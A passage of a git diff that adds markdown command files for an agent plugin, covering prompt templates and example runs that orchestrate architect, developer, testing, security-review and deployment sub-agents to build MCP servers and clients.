> Provide unified interface to multiple MCP servers
|
||||
|
||||
UI type?
|
||||
> Electron-based desktop GUI
|
||||
|
||||
[Step 2: Architecture]
|
||||
Launching mcp-client-architect agent...
|
||||
✓ Architecture designed:
|
||||
- Multi-server aggregator pattern
|
||||
- Server registry with discovery
|
||||
- Tool namespacing (github:create_issue, fs:read_file)
|
||||
- Connection health monitoring
|
||||
- Unified error handling
|
||||
|
||||
[Step 3: Development]
|
||||
Launching mcp-typescript-developer agent...
|
||||
✓ Electron app implemented
|
||||
✓ Server connection manager (manages 3+ servers)
|
||||
✓ UI for tool browsing and execution
|
||||
✓ Result display and error handling
|
||||
✓ Configuration UI
|
||||
|
||||
[Integration Testing]
|
||||
✓ Tested with all three servers
|
||||
✓ Tool namespacing works correctly
|
||||
✓ Connection recovery tested
|
||||
|
||||
✓ COMPLETE: mcp-desktop-aggregator ready for use!
|
||||
```
|
||||
|
||||
## Client Architecture Patterns
|
||||
|
||||
This command supports these client patterns:
|
||||
|
||||
1. **Single-Purpose Client**: Connect to one specific server
|
||||
2. **Multi-Server Aggregator**: Aggregate capabilities from multiple servers
|
||||
3. **MCP Proxy**: Translate between transports (stdio ↔ SSE)
|
||||
4. **MCP Gateway**: Centralized access point for organization
|
||||
5. **Library/SDK**: Reusable client library for integration
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- [ ] Requirements gathered and confirmed
|
||||
- [ ] Architecture designed by architect agent
|
||||
- [ ] Client implemented by developer agent
|
||||
- [ ] Tests created by testing agent (>80% coverage)
|
||||
- [ ] Security review completed with fixes applied
|
||||
- [ ] Deployment configuration created
|
||||
- [ ] Integration testing passed
|
||||
- [ ] Documentation complete
|
||||
- [ ] User has working MCP client
|
||||
|
||||
This command provides end-to-end orchestrated MCP client development following best practices.
|
||||
395
commands/develop-mcp-server.md
Normal file
395
commands/develop-mcp-server.md
Normal file
@@ -0,0 +1,395 @@
|
||||
---
|
||||
description: Develop MCP server with tools, resources, and prompts
|
||||
argument-hint: Server requirements and features
|
||||
---
|
||||
|
||||
# Develop MCP Server
|
||||
|
||||
Orchestrate the complete development of an MCP server from architecture to implementation.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
/develop-mcp-server [requirements]
|
||||
```
|
||||
|
||||
**Arguments:**
|
||||
- `requirements`: Brief description of what the server should do (optional if discussed interactively)
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
/develop-mcp-server GitHub integration with issue and PR management
|
||||
/develop-mcp-server Database query tool for PostgreSQL
|
||||
/develop-mcp-server File system operations for project management
|
||||
```
|
||||
|
||||
## What This Command Does
|
||||
|
||||
This command orchestrates the full MCP server development workflow by:
|
||||
1. Designing server architecture (tools, resources, prompts)
|
||||
2. Implementing the server in chosen language
|
||||
3. Creating comprehensive tests
|
||||
4. Performing security review
|
||||
5. Setting up deployment configuration
|
||||
|
||||
## Workflow Steps
|
||||
|
||||
### Step 1: Gather Requirements
|
||||
|
||||
Ask the user to clarify:
|
||||
|
||||
1. **Server Purpose**: What problem does this server solve?
|
||||
2. **Target Users**: Who will use this server?
|
||||
3. **External Integrations**: What APIs/services does it integrate with?
|
||||
4. **Required Tools**: What actions should the LLM be able to perform?
|
||||
5. **Required Resources**: What data should the LLM be able to read?
|
||||
6. **Required Prompts**: What workflows need templates?
|
||||
7. **Language Preference**: Python or TypeScript?
|
||||
8. **Transport**: stdio (Claude Desktop) or SSE (remote access)?
|
||||
|
||||
### Step 2: Launch Architecture Agent
|
||||
|
||||
Use the Task tool to launch `mcp-server-architect` agent with requirements.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Design MCP server architecture for [purpose].
|
||||
|
||||
Requirements:
|
||||
- Tools: [list of tools]
|
||||
- Resources: [list of resources]
|
||||
- Prompts: [list of prompts]
|
||||
- Transport: [stdio/SSE]
|
||||
- External APIs: [list]
|
||||
|
||||
Provide:
|
||||
1. Complete tools specification with input/output schemas
|
||||
2. Resources specification with URI patterns
|
||||
3. Prompts specification with parameters
|
||||
4. Server structure and organization
|
||||
5. Configuration requirements
|
||||
6. Security considerations
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Tools specification (name, description, parameters, outputs)
|
||||
- Resources specification (URI patterns, data sources)
|
||||
- Prompts specification (templates, arguments)
|
||||
- Configuration needs (API keys, database URLs, etc.)
|
||||
- Security requirements
|
||||
|
||||
### Step 3: Launch Development Agent
|
||||
|
||||
Based on language choice, launch `mcp-python-developer` or `mcp-typescript-developer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Implement MCP server based on architecture:
|
||||
|
||||
Architecture:
|
||||
[paste architecture specification from Step 2]
|
||||
|
||||
Language: [Python/TypeScript]
|
||||
|
||||
Requirements:
|
||||
1. Implement all tools with proper error handling
|
||||
2. Implement all resources with efficient data access
|
||||
3. Implement all prompts with parameter handling
|
||||
4. Configure [stdio/SSE] transport
|
||||
5. Add comprehensive input validation
|
||||
6. Include proper logging
|
||||
7. Create configuration management
|
||||
8. Follow MCP protocol specifications
|
||||
|
||||
Deliverables:
|
||||
- Complete server implementation
|
||||
- All tools implemented
|
||||
- All resources implemented
|
||||
- All prompts implemented
|
||||
- Configuration setup
|
||||
- Documentation
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Complete server code
|
||||
- All tools implemented with validation
|
||||
- All resources with proper access controls
|
||||
- Transport configured
|
||||
- Configuration management
|
||||
- README with usage examples
|
||||
|
||||
### Step 4: Launch Testing Agent
|
||||
|
||||
Use the Task tool to launch `mcp-testing-engineer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Create comprehensive test suite for MCP server:
|
||||
|
||||
Server: [project name]
|
||||
Language: [Python/TypeScript]
|
||||
|
||||
Requirements:
|
||||
1. Unit tests for all tools
|
||||
2. Unit tests for all resources
|
||||
3. Unit tests for all prompts
|
||||
4. Integration tests with MCP Inspector
|
||||
5. Error scenario testing
|
||||
6. Mock external dependencies
|
||||
7. Coverage > 80%
|
||||
|
||||
Deliverables:
|
||||
- Complete test suite
|
||||
- pytest/jest configuration
|
||||
- Mock fixtures
|
||||
- Integration tests
|
||||
- Coverage report
|
||||
- Test documentation
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Comprehensive test suite
|
||||
- Test configuration files
|
||||
- Mock fixtures for external APIs
|
||||
- MCP Inspector integration tests
|
||||
- Coverage report showing >80%
|
||||
|
||||
### Step 5: Launch Security Review Agent
|
||||
|
||||
Use the Task tool to launch `mcp-security-reviewer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Perform security review of MCP server:
|
||||
|
||||
Server: [project name]
|
||||
Code: [location of server code]
|
||||
|
||||
Review for:
|
||||
1. Input validation vulnerabilities
|
||||
2. Path traversal issues
|
||||
3. Command injection risks
|
||||
4. SQL injection vulnerabilities
|
||||
5. API key exposure
|
||||
6. Information disclosure in errors
|
||||
7. Rate limiting implementation
|
||||
8. Dependency vulnerabilities
|
||||
|
||||
Deliverables:
|
||||
- Security review report
|
||||
- List of vulnerabilities (Critical/High/Medium/Low)
|
||||
- Remediation recommendations
|
||||
- Fixed code examples
|
||||
- Security checklist results
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Security review report
|
||||
- List of vulnerabilities with severity
|
||||
- Specific code fixes for each issue
|
||||
- Updated secure implementation
|
||||
|
||||
### Step 6: Apply Security Fixes
|
||||
|
||||
Based on security review:
|
||||
1. Review all critical and high severity findings
|
||||
2. Apply recommended fixes to server code
|
||||
3. Re-run tests to ensure fixes don't break functionality
|
||||
4. Update security documentation
|
||||
|
||||
### Step 7: Launch Deployment Agent
|
||||
|
||||
Use the Task tool to launch `mcp-deployment-engineer` agent.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Create deployment configuration for MCP server:
|
||||
|
||||
Server: [project name]
|
||||
Language: [Python/TypeScript]
|
||||
Transport: [stdio/SSE]
|
||||
|
||||
Requirements:
|
||||
1. Claude Desktop configuration (stdio)
|
||||
2. Package configuration (pip/npm)
|
||||
3. Docker container setup
|
||||
4. Environment variable management
|
||||
5. Installation documentation
|
||||
6. Troubleshooting guide
|
||||
|
||||
Deliverables:
|
||||
- Claude Desktop config example
|
||||
- pyproject.toml / package.json for distribution
|
||||
- Dockerfile
|
||||
- .env.example
|
||||
- Installation README
|
||||
- Troubleshooting guide
|
||||
```
|
||||
|
||||
**Expected Output:**
|
||||
- Complete deployment configuration
|
||||
- Claude Desktop setup instructions
|
||||
- Docker container
|
||||
- Package distribution setup
|
||||
- Comprehensive documentation
|
||||
|
||||
### Step 8: Integration and Final Testing
|
||||
|
||||
1. **Test complete installation flow:**
|
||||
```bash
|
||||
# Python
|
||||
pip install -e .
|
||||
python -m project_name
|
||||
|
||||
# TypeScript
|
||||
npm install
|
||||
npm run build
|
||||
node build/index.js
|
||||
```
|
||||
|
||||
2. **Test with MCP Inspector:**
|
||||
```bash
|
||||
mcp-inspector python -m project_name
|
||||
# or
|
||||
mcp-inspector node build/index.js
|
||||
```
|
||||
|
||||
3. **Test in Claude Desktop:**
|
||||
- Add to claude_desktop_config.json
|
||||
- Restart Claude Desktop
|
||||
- Verify tools appear
|
||||
- Test tool execution
|
||||
|
||||
### Step 9: Create Final Documentation
|
||||
|
||||
Compile comprehensive documentation:
|
||||
|
||||
**README.md** should include:
|
||||
- Project overview and features
|
||||
- Installation instructions (multiple methods)
|
||||
- Configuration guide with all env vars
|
||||
- Usage examples for each tool
|
||||
- Development setup instructions
|
||||
- Testing instructions
|
||||
- Troubleshooting guide
|
||||
- Contributing guidelines
|
||||
|
||||
**Additional Documentation:**
|
||||
- API.md (detailed tool/resource/prompt documentation)
|
||||
- SECURITY.md (security considerations and reporting)
|
||||
- CHANGELOG.md (version history)
|
||||
- CONTRIBUTING.md (contribution guidelines)
|
||||
|
||||
### Step 10: Provide Summary and Next Steps
|
||||
|
||||
Give the user a complete project summary:
|
||||
|
||||
```
|
||||
✓ MCP Server Development Complete: [project-name]
|
||||
|
||||
Architecture:
|
||||
- Tools: [count] ([list names])
|
||||
- Resources: [count] ([list names])
|
||||
- Prompts: [count] ([list names])
|
||||
|
||||
Implementation:
|
||||
- Language: [Python/TypeScript]
|
||||
- Transport: [stdio/SSE]
|
||||
- Lines of Code: [count]
|
||||
|
||||
Testing:
|
||||
- Unit Tests: [count] (100% passing)
|
||||
- Integration Tests: [count] (100% passing)
|
||||
- Code Coverage: [percentage]%
|
||||
|
||||
Security:
|
||||
- Vulnerabilities Found: [count]
|
||||
- Vulnerabilities Fixed: [count]
|
||||
- Critical Issues: 0
|
||||
- Security Score: [rating]
|
||||
|
||||
Deployment:
|
||||
- Claude Desktop: Ready
|
||||
- pip/npm: Ready
|
||||
- Docker: Ready
|
||||
|
||||
Next Steps:
|
||||
1. Review generated code and documentation
|
||||
2. Test server locally with MCP Inspector
|
||||
3. Test in Claude Desktop
|
||||
4. Customize for your specific needs
|
||||
5. Consider publishing to PyPI/npm
|
||||
|
||||
Files created:
|
||||
[list all files]
|
||||
```
|
||||
|
||||
## Example Full Workflow
|
||||
|
||||
```
|
||||
User: /develop-mcp-server GitHub integration
|
||||
|
||||
[Gathering Requirements]
|
||||
What GitHub operations should be supported?
|
||||
> Issue creation, PR management, code search
|
||||
|
||||
What authentication method?
|
||||
> GitHub Personal Access Token
|
||||
|
||||
Language preference?
|
||||
> Python
|
||||
|
||||
[Step 2: Architecture]
|
||||
Launching mcp-server-architect agent...
|
||||
✓ Architecture designed:
|
||||
- 5 tools (create_issue, list_repos, create_pr, search_code, get_pr_status)
|
||||
- 3 resources (repos, issues, pull_requests)
|
||||
- 2 prompts (issue_template, pr_review)
|
||||
|
||||
[Step 3: Development]
|
||||
Launching mcp-python-developer agent...
|
||||
✓ Server implemented with FastMCP
|
||||
✓ All tools implemented with PyGithub
|
||||
✓ Input validation with Pydantic
|
||||
✓ Configuration with environment variables
|
||||
|
||||
[Step 4: Testing]
|
||||
Launching mcp-testing-engineer agent...
|
||||
✓ 25 unit tests created (all passing)
|
||||
✓ 5 integration tests created
|
||||
✓ Coverage: 87%
|
||||
|
||||
[Step 5: Security Review]
|
||||
Launching mcp-security-reviewer agent...
|
||||
✓ Security review complete
|
||||
✓ Found: 2 medium, 3 low issues
|
||||
✓ All issues fixed
|
||||
|
||||
[Step 6: Deployment]
|
||||
Launching mcp-deployment-engineer agent...
|
||||
✓ Claude Desktop config created
|
||||
✓ pyproject.toml configured
|
||||
✓ Dockerfile created
|
||||
✓ Documentation complete
|
||||
|
||||
[Integration Testing]
|
||||
✓ MCP Inspector validation passed
|
||||
✓ Claude Desktop integration verified
|
||||
|
||||
✓ COMPLETE: github-mcp-server ready for use!
|
||||
```
|
||||
|
||||
## Success Criteria
|
||||
|
||||
- [ ] Requirements gathered and confirmed
|
||||
- [ ] Architecture designed by architect agent
|
||||
- [ ] Server implemented by developer agent
|
||||
- [ ] Tests created by testing agent (>80% coverage)
|
||||
- [ ] Security review completed with fixes applied
|
||||
- [ ] Deployment configuration created
|
||||
- [ ] MCP Inspector validation passed
|
||||
- [ ] Claude Desktop integration tested
|
||||
- [ ] Documentation complete
|
||||
- [ ] User has working MCP server
|
||||
|
||||
This command provides end-to-end orchestrated MCP server development following best practices.
|
||||
711
commands/mcp-full-stack-dev.md
Normal file
711
commands/mcp-full-stack-dev.md
Normal file
@@ -0,0 +1,711 @@
|
||||
---
|
||||
description: End-to-end orchestrated MCP development workflow
|
||||
argument-hint: Project requirements
|
||||
---
|
||||
|
||||
# MCP Full-Stack Development Workflow
|
||||
|
||||
Complete end-to-end development of an MCP server from requirements to deployment.
|
||||
|
||||
## Usage
|
||||
|
||||
```
|
||||
/mcp-full-stack-dev [requirements]
|
||||
```
|
||||
|
||||
**Arguments:**
|
||||
- `requirements`: Brief description of what to build (optional if discussed interactively)
|
||||
|
||||
**Examples:**
|
||||
```
|
||||
/mcp-full-stack-dev GitHub integration server with issue and PR management
|
||||
/mcp-full-stack-dev PostgreSQL database query tool with read-only access
|
||||
/mcp-full-stack-dev File system operations server for project management
|
||||
```
|
||||
|
||||
## What This Command Does
|
||||
|
||||
This is the **master orchestration command** that runs the complete MCP development lifecycle:
|
||||
1. Requirements gathering
|
||||
2. Architecture design
|
||||
3. Implementation
|
||||
4. Testing
|
||||
5. Security review
|
||||
6. Deployment configuration
|
||||
7. Documentation
|
||||
8. Final validation
|
||||
|
||||
This command uses all other MCP engineer agents in a coordinated workflow.
|
||||
|
||||
## Workflow Steps
|
||||
|
||||
### Step 1: Requirements Gathering
|
||||
|
||||
Have a comprehensive discussion with the user to understand:
|
||||
|
||||
**Project Basics:**
|
||||
- What problem does this server solve?
|
||||
- Who will use it?
|
||||
- What makes this useful?
|
||||
|
||||
**Technical Requirements:**
|
||||
1. **Server Purpose**: Detailed description of functionality
|
||||
2. **Tools Needed**: What actions should the LLM perform?
|
||||
- Create, read, update, delete operations?
|
||||
- Search/query functionality?
|
||||
- External API interactions?
|
||||
3. **Resources Needed**: What data should the LLM access?
|
||||
- File system resources?
|
||||
- Database queries?
|
||||
- API endpoints?
|
||||
4. **Prompts Needed**: Common workflows that need templates?
|
||||
5. **External Services**: APIs, databases, file systems?
|
||||
6. **Authentication**: API keys, tokens, credentials?
|
||||
7. **Language**: Python or TypeScript?
|
||||
8. **Target Users**: Claude Desktop, web app, CLI?
|
||||
|
||||
**Document Requirements:**
|
||||
Create a requirements document summarizing all inputs.
|
||||
|
||||
### Step 2: Phase 1 - Architecture Design
|
||||
|
||||
Launch `mcp-server-architect` agent via Task tool.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Design comprehensive MCP server architecture:
|
||||
|
||||
Project: [project name]
|
||||
Purpose: [detailed purpose]
|
||||
|
||||
Requirements:
|
||||
Tools:
|
||||
- [list each tool with description]
|
||||
|
||||
Resources:
|
||||
- [list each resource with description]
|
||||
|
||||
Prompts:
|
||||
- [list each prompt with description]
|
||||
|
||||
External Services:
|
||||
- [list APIs, databases, etc.]
|
||||
|
||||
Transport: stdio (Claude Desktop)
|
||||
Language: [Python/TypeScript]
|
||||
|
||||
Provide:
|
||||
1. Complete tools specification
|
||||
- Names, descriptions
|
||||
- Input schemas with validation rules
|
||||
- Output formats
|
||||
- Error handling requirements
|
||||
|
||||
2. Resources specification
|
||||
- URI patterns
|
||||
- Data sources
|
||||
- Access patterns
|
||||
- Caching strategy
|
||||
|
||||
3. Prompts specification
|
||||
- Template content
|
||||
- Parameters
|
||||
- Use cases
|
||||
|
||||
4. Server structure
|
||||
- File organization
|
||||
- Module breakdown
|
||||
- Configuration needs
|
||||
|
||||
5. Security considerations
|
||||
- Input validation requirements
|
||||
- Access control needs
|
||||
- Credential management
|
||||
```
|
||||
|
||||
**Output:** Complete architecture document with all specifications.
|
||||
|
||||
**Checkpoint:** Review architecture with user and confirm before proceeding.
|
||||
|
||||
### Step 3: Phase 2 - Project Initialization
|
||||
|
||||
Use `/mcp-init-project` command to create project structure.
|
||||
|
||||
```
|
||||
/mcp-init-project server [python/typescript]
|
||||
```
|
||||
|
||||
This creates:
|
||||
- Complete directory structure
|
||||
- Configuration files
|
||||
- Testing setup
|
||||
- Development tools
|
||||
- Git repository
|
||||
|
||||
**Validate:** Ensure project structure is created correctly.
|
||||
|
||||
### Step 4: Phase 3 - Implementation
|
||||
|
||||
Launch `mcp-python-developer` or `mcp-typescript-developer` agent via Task tool.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Implement MCP server based on architecture:
|
||||
|
||||
Architecture: [paste complete architecture from Step 2]
|
||||
Project Location: [path]
|
||||
Language: [Python/TypeScript]
|
||||
|
||||
Implementation Requirements:
|
||||
1. Implement ALL tools with:
|
||||
- Complete input validation (Pydantic/Zod)
|
||||
- Proper error handling
|
||||
- Comprehensive logging
|
||||
- Return type consistency
|
||||
|
||||
2. Implement ALL resources with:
|
||||
- Efficient data access
|
||||
- Caching where appropriate
|
||||
- Access control validation
|
||||
- Error handling
|
||||
|
||||
3. Implement ALL prompts with:
|
||||
- Parameter handling
|
||||
- Template rendering
|
||||
- Example usage
|
||||
|
||||
4. Configuration management:
|
||||
- Environment variables for all secrets
|
||||
- Configuration validation
|
||||
- Sensible defaults
|
||||
|
||||
5. Server setup:
|
||||
- [stdio/SSE] transport configuration
|
||||
- Proper initialization
|
||||
- Graceful shutdown
|
||||
- Health monitoring
|
||||
|
||||
Code Quality Requirements:
|
||||
- Type hints (Python) / TypeScript types
|
||||
- Docstrings for all functions
|
||||
- Clear variable names
|
||||
- Modular organization
|
||||
- No hardcoded values
|
||||
```
|
||||
|
||||
**Output:** Complete, working server implementation.
|
||||
|
||||
**Validate:** Test server starts and basic functionality works.
|
||||
|
||||
### Step 5: Phase 4 - Testing
|
||||
|
||||
Launch `mcp-testing-engineer` agent via Task tool.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Create comprehensive test suite for MCP server:
|
||||
|
||||
Project: [project name]
|
||||
Location: [path]
|
||||
Language: [Python/TypeScript]
|
||||
|
||||
Testing Requirements:
|
||||
1. Unit Tests (target >80% coverage):
|
||||
- Test each tool individually
|
||||
- Test all success paths
|
||||
- Test all error paths
|
||||
- Test edge cases
|
||||
- Mock external dependencies
|
||||
|
||||
2. Integration Tests:
|
||||
- Test with MCP Inspector
|
||||
- Test tool chains
|
||||
- Test resource access
|
||||
- Test prompt generation
|
||||
- Test configuration loading
|
||||
|
||||
3. Error Scenario Tests:
|
||||
- Invalid inputs
|
||||
- Network failures
|
||||
- Timeouts
|
||||
- Missing credentials
|
||||
- Rate limiting
|
||||
|
||||
4. Performance Tests:
|
||||
- Response time checks
|
||||
- Concurrent request handling
|
||||
- Memory usage
|
||||
|
||||
5. Mock Fixtures:
|
||||
- Mock external APIs
|
||||
- Mock database responses
|
||||
- Sample test data
|
||||
|
||||
Deliverables:
|
||||
- Complete test suite
|
||||
- pytest/jest configuration
|
||||
- Mock fixtures
|
||||
- Coverage report (>80%)
|
||||
- Integration test results
|
||||
```
|
||||
|
||||
**Output:** Complete test suite with high coverage.
|
||||
|
||||
**Checkpoint:** Run tests and ensure all pass:
|
||||
```bash
|
||||
# Python
|
||||
pytest --cov=src --cov-report=term-missing
|
||||
|
||||
# TypeScript
|
||||
npm test -- --coverage
|
||||
```
|
||||
|
||||
### Step 6: Phase 5 - Security Review
|
||||
|
||||
Launch `mcp-security-reviewer` agent via Task tool.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Perform comprehensive security review:
|
||||
|
||||
Project: [project name]
|
||||
Location: [path]
|
||||
Language: [Python/TypeScript]
|
||||
|
||||
Review all code for:
|
||||
1. Input Validation
|
||||
- Tool parameter validation
|
||||
- File path sanitization
|
||||
- SQL query safety
|
||||
- Command execution safety
|
||||
|
||||
2. Authentication & Authorization
|
||||
- Credential management
|
||||
- API key handling
|
||||
- No hardcoded secrets
|
||||
|
||||
3. Information Disclosure
|
||||
- Error messages
|
||||
- Logging practices
|
||||
- Stack trace exposure
|
||||
|
||||
4. Dependency Security
|
||||
- Known vulnerabilities
|
||||
- Outdated packages
|
||||
|
||||
5. Rate Limiting
|
||||
- Abuse prevention
|
||||
- Resource protection
|
||||
|
||||
Deliverables:
|
||||
- Security review report
|
||||
- Vulnerability list with severity
|
||||
- Code fixes for all issues
|
||||
- Updated secure implementation
|
||||
```
|
||||
|
||||
**Output:** Security review report with fixes.
|
||||
|
||||
**Checkpoint:** Apply all critical and high severity fixes, re-run tests.
|
||||
|
||||
### Step 7: Phase 6 - Deployment Configuration
|
||||
|
||||
Launch `mcp-deployment-engineer` agent via Task tool.
|
||||
|
||||
**Agent Task:**
|
||||
```
|
||||
Create deployment configuration:
|
||||
|
||||
Project: [project name]
|
||||
Location: [path]
|
||||
Language: [Python/TypeScript]
|
||||
Target: local and docker
|
||||
|
||||
Deployment Requirements:
|
||||
1. Claude Desktop Integration
|
||||
- Configuration example
|
||||
- Installation instructions
|
||||
- Environment variable guide
|
||||
|
||||
2. Package Configuration
|
||||
- pip/npm package setup
|
||||
- Version configuration
|
||||
- Dependency management
|
||||
|
||||
3. Docker Configuration
|
||||
- Optimized Dockerfile
|
||||
- docker-compose.yml
|
||||
- Health checks
|
||||
- Security best practices
|
||||
|
||||
4. Documentation
|
||||
- Complete README.md
|
||||
- Installation guide
|
||||
- Configuration guide
|
||||
- Troubleshooting guide
|
||||
- Usage examples
|
||||
|
||||
5. Environment Management
|
||||
- .env.example with all variables
|
||||
- Variable documentation
|
||||
- Secret management guide
|
||||
|
||||
Deliverables:
|
||||
- Claude Desktop config
|
||||
- pyproject.toml/package.json
|
||||
- Dockerfile and docker-compose.yml
|
||||
- Complete documentation
|
||||
- Troubleshooting guide
|
||||
```
|
||||
|
||||
**Output:** Complete deployment configuration and documentation.
|
||||
|
||||
### Step 8: Phase 7 - Integration Testing
|
||||
|
||||
Test the complete deployment workflow:
|
||||
|
||||
**Test 1: Local Installation**
|
||||
```bash
|
||||
# Python
|
||||
pip install -e .
|
||||
my-mcp-server # Should start without errors
|
||||
|
||||
# TypeScript
|
||||
npm install
|
||||
npm run build
|
||||
node build/index.js # Should start without errors
|
||||
```
|
||||
|
||||
**Test 2: MCP Inspector Validation**
|
||||
```bash
|
||||
# Test protocol compliance
|
||||
mcp-inspector python -m my_mcp_server
|
||||
# or
|
||||
mcp-inspector node build/index.js
|
||||
|
||||
# Verify:
|
||||
# - Server starts
|
||||
# - Tools discovered
|
||||
# - Resources discovered
|
||||
# - Prompts discovered
|
||||
# - Protocol compliant
|
||||
```
|
||||
|
||||
**Test 3: Claude Desktop Integration**
|
||||
1. Add to claude_desktop_config.json
|
||||
2. Restart Claude Desktop
|
||||
3. Verify tools appear in Claude
|
||||
4. Test each tool execution
|
||||
5. Test resource access
|
||||
6. Test prompt usage
|
||||
|
||||
**Test 4: Docker Deployment**
|
||||
```bash
|
||||
# Build image
|
||||
docker build -t my-mcp-server:latest .
|
||||
|
||||
# Run container
|
||||
docker run -i -e API_KEY=test my-mcp-server:latest
|
||||
|
||||
# Test with inspector
|
||||
docker run -i my-mcp-server:latest | mcp-inspector -
|
||||
```
|
||||
|
||||
**Test 5: Error Scenarios**
|
||||
- Start without required environment variables
|
||||
- Invalid API credentials
|
||||
- Network connectivity issues
|
||||
- Malformed inputs to tools
|
||||
|
||||
### Step 9: Phase 8 - Final Documentation
|
||||
|
||||
Compile comprehensive project documentation:
|
||||
|
||||
**README.md** sections:
|
||||
1. Project Overview
|
||||
- What it does
|
||||
- Key features
|
||||
- Use cases
|
||||
|
||||
2. Quick Start
|
||||
- Fastest way to get running
|
||||
- Minimal configuration
|
||||
|
||||
3. Installation
|
||||
- Multiple installation methods
|
||||
- Prerequisites
|
||||
- Step-by-step instructions
|
||||
|
||||
4. Configuration
|
||||
- All environment variables
|
||||
- How to get API keys
|
||||
- Configuration file options
|
||||
|
||||
5. Usage Examples
|
||||
- Each tool with examples
|
||||
- Each resource with examples
|
||||
- Common workflows
|
||||
|
||||
6. Development
|
||||
- Setup dev environment
|
||||
- Running tests
|
||||
- Contributing
|
||||
|
||||
7. Troubleshooting
|
||||
- Common issues
|
||||
- Debug mode
|
||||
- Getting help
|
||||
|
||||
**Additional Documentation:**
|
||||
- API.md (detailed tool/resource docs)
|
||||
- SECURITY.md (security considerations)
|
||||
- CHANGELOG.md (version history)
|
||||
- CONTRIBUTING.md (contribution guide)
|
||||
- LICENSE (license file)
|
||||
|
||||
### Step 10: Final Validation and Handoff
|
||||
|
||||
Create comprehensive project summary:
|
||||
|
||||
```
|
||||
✓ MCP Server Development Complete: [project-name]
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
PROJECT SUMMARY
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
Purpose: [brief description]
|
||||
Language: [Python/TypeScript]
|
||||
Transport: stdio
|
||||
Target: Claude Desktop
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
ARCHITECTURE
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
Tools Implemented: [count]
|
||||
1. [tool_name] - [description]
|
||||
2. [tool_name] - [description]
|
||||
...
|
||||
|
||||
Resources Implemented: [count]
|
||||
1. [uri_pattern] - [description]
|
||||
2. [uri_pattern] - [description]
|
||||
...
|
||||
|
||||
Prompts Implemented: [count]
|
||||
1. [prompt_name] - [description]
|
||||
...
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
IMPLEMENTATION METRICS
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
Lines of Code: [count]
|
||||
Files: [count]
|
||||
Modules: [count]
|
||||
|
||||
Dependencies:
|
||||
- [dependency]: [version]
|
||||
- [dependency]: [version]
|
||||
...
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
TESTING RESULTS
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
Unit Tests: [count]/[count] passed ✓
|
||||
Integration Tests: [count]/[count] passed ✓
|
||||
MCP Inspector: PASS ✓
|
||||
Protocol Compliance: PASS ✓
|
||||
Performance: PASS ✓
|
||||
|
||||
Code Coverage: [percentage]%
|
||||
- Tools: [percentage]%
|
||||
- Resources: [percentage]%
|
||||
- Prompts: [percentage]%
|
||||
- Config: [percentage]%
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
SECURITY REVIEW
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
Vulnerabilities Found: [count]
|
||||
- Critical: 0 ✓
|
||||
- High: 0 ✓
|
||||
- Medium: [count] (all fixed)
|
||||
- Low: [count] (documented)
|
||||
|
||||
Security Checklist: [percentage]% complete
|
||||
Input Validation: ✓
|
||||
Authentication: ✓
|
||||
Authorization: ✓
|
||||
Error Handling: ✓
|
||||
Dependency Security: ✓
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
DEPLOYMENT STATUS
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
Local Deployment: ✓ Ready
|
||||
- Claude Desktop: Configured
|
||||
- pip/npm: Package ready
|
||||
- Documentation: Complete
|
||||
|
||||
Docker Deployment: ✓ Ready
|
||||
- Dockerfile: Optimized ([size]MB)
|
||||
- docker-compose.yml: Configured
|
||||
- Health checks: Implemented
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
DOCUMENTATION
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
✓ README.md - Complete guide
|
||||
✓ API.md - Full API documentation
|
||||
✓ TROUBLESHOOTING.md - Common issues and solutions
|
||||
✓ SECURITY.md - Security considerations
|
||||
✓ CONTRIBUTING.md - Contribution guidelines
|
||||
✓ CHANGELOG.md - Version history
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
NEXT STEPS
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
1. Test Locally:
|
||||
$ pip install -e . # or: npm install
|
||||
$ my-mcp-server # Verify it starts
|
||||
|
||||
2. Test with Inspector:
|
||||
$ mcp-inspector python -m my_mcp_server
|
||||
|
||||
3. Configure Claude Desktop:
|
||||
Edit: ~/Library/Application Support/Claude/claude_desktop_config.json
|
||||
Add: [see claude-desktop-config.example.json]
|
||||
|
||||
4. Restart Claude Desktop
|
||||
|
||||
5. Test in Claude:
|
||||
- Verify tools appear
|
||||
- Test each tool
|
||||
- Try example workflows
|
||||
|
||||
6. (Optional) Publish:
|
||||
Python: python -m build && twine upload dist/*
|
||||
Node.js: npm publish
|
||||
|
||||
7. (Optional) Deploy Docker:
|
||||
$ docker-compose up -d
|
||||
|
||||
═══════════════════════════════════════════════════════
|
||||
FILES CREATED
|
||||
═══════════════════════════════════════════════════════
|
||||
|
||||
Source Code:
|
||||
[list all source files]
|
||||
|
||||
Tests:
|
||||
[list all test files]
|
||||
|
||||
Configuration:
|
||||
- pyproject.toml / package.json
|
||||
